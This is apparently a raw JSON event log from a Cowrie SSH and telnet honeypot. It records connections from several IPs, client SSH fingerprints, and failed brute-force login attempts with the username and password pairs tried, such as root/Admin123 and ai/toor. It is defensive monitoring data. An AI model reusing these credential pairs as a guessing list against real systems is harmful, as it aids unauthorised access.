{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:53.907509Z","src_ip":"91.92.40.36","session":"c4e6aab22719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd","message":"login attempt [root/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:57.327157Z","src_ip":"91.92.40.36","session":"3b05722516d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.99126434326172,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:58.334604Z","src_ip":"128.199.8.54","session":"e71bb01016d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:56:59.128278Z","src_ip":"91.92.40.36","session":"3b05722516d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56776,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcd489656cc6","protocol":"ssh","message":"New connection: 91.92.40.36:56776 (10.17.0.5:22) [session: dcd489656cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:01.004894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:01.078163Z","src_ip":"91.92.40.36","session":"dcd489656cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:01.197788Z","src_ip":"91.92.40.36","session":"dcd489656cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"1234","message":"login attempt [jack/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:01.755867Z","src_ip":"91.92.40.36","session":"dcd489656cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:02.862001Z","src_ip":"91.92.40.36","session":"dcd489656cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17296,"dst_ip":"10.17.0.5","dst_port":22,"session":"c846ad18b828","protocol":"ssh","message":"New connection: 91.92.40.36:17296 (10.17.0.5:22) [session: c846ad18b828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:09.576139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:10.173807Z","src_ip":"91.92.40.36","session":"c846ad18b828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:10.810731Z","src_ip":"91.92.40.36","session":"c846ad18b828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":34936,"dst_ip":"159.203.135.109","dst_port":22,"session":"c017624db60e","protocol":"ssh","message":"New connection: 102.213.34.99:34936 (159.203.135.109:22) [session: c017624db60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:13.459310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:13.463935Z","src_ip":"102.213.34.99","session":"c017624db60e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:13.635473Z","src_ip":"102.213.34.99","session":"c017624db60e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"django","password":"django1","message":"login attempt [django/django1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:14.360412Z","src_ip":"102.213.34.99","session":"c017624db60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":53878,"dst_ip":"10.17.0.5","dst_port":22,"session":"9edbce8a1cd2","protocol":"ssh","message":"New connection: 27.71.230.31:53878 (10.17.0.5:22) [session: 9edbce8a1cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:15.039584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:15.068306Z","src_ip":"27.71.230.31","session":"9edbce8a1cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:15.310381Z","src_ip":"27.71.230.31","session":"9edbce8a1cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:15.535813Z","src_ip":"102.213.34.99","session":"c017624db60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45654,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ca87a45abda","protocol":"ssh","message":"New connection: 91.92.40.36:45654 (10.17.0.5:22) [session: 9ca87a45abda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:15.709849Z"}
{"eventid":"cowrie.login.failed","username":"try","password":"123456","message":"login attempt [try/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:16.109248Z","src_ip":"91.92.40.36","session":"c846ad18b828","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:16.236623Z","src_ip":"91.92.40.36","session":"9ca87a45abda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:16.241102Z","src_ip":"91.92.40.36","session":"9ca87a45abda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":38400,"dst_ip":"159.203.135.109","dst_port":22,"session":"c28a760e006f","protocol":"ssh","message":"New connection: 103.84.236.242:38400 (159.203.135.109:22) [session: c28a760e006f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:16.790498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:16.798425Z","src_ip":"103.84.236.242","session":"c28a760e006f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:17.038964Z","src_ip":"103.84.236.242","session":"c28a760e006f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"ved","message":"login attempt [dev/ved] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:18.024681Z","src_ip":"103.84.236.242","session":"c28a760e006f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:18.287033Z","src_ip":"91.92.40.36","session":"9ca87a45abda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:18.360861Z","src_ip":"91.92.40.36","session":"c846ad18b828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1$","message":"login attempt [root/Password1$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:18.367589Z","src_ip":"27.71.230.31","session":"9edbce8a1cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:19.264395Z","src_ip":"103.84.236.242","session":"c28a760e006f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:19.879971Z","src_ip":"91.92.40.36","session":"9ca87a45abda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:20.218959Z","src_ip":"27.71.230.31","session":"9edbce8a1cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45680,"dst_ip":"10.17.0.5","dst_port":22,"session":"210b2d033e17","protocol":"ssh","message":"New connection: 91.92.40.36:45680 (10.17.0.5:22) [session: 210b2d033e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:22.758945Z"}
{"eventid":"cowrie.session.closed","duration":36.464741706848145,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:23.281186Z","src_ip":"172.81.62.90","session":"8ec752386b2d","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:23.310657Z","src_ip":"91.92.40.36","session":"210b2d033e17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:23.314022Z","src_ip":"91.92.40.36","session":"210b2d033e17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scanner","password":"budda279056","message":"login attempt [scanner/budda279056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:26.275410Z","src_ip":"91.92.40.36","session":"210b2d033e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:27.694734Z","src_ip":"91.92.40.36","session":"210b2d033e17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34434,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bc9e22a774e","protocol":"ssh","message":"New connection: 91.92.40.36:34434 (10.17.0.5:22) [session: 5bc9e22a774e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:31.024373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:31.290572Z","src_ip":"91.92.40.36","session":"5bc9e22a774e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:31.294075Z","src_ip":"91.92.40.36","session":"5bc9e22a774e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"toor","message":"login attempt [ai/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:33.768747Z","src_ip":"91.92.40.36","session":"5bc9e22a774e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:57:34.882726Z","src_ip":"91.92.40.36","session":"5bc9e22a774e","protocol":"ssh"}
